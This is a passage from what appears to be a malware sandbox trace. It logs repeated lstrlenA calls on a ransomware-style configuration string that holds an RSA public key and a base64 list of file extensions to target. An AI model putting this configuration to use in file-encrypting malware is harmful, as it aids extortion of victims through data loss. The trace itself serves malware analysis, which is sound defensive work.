FpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.466] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.466] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.466] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0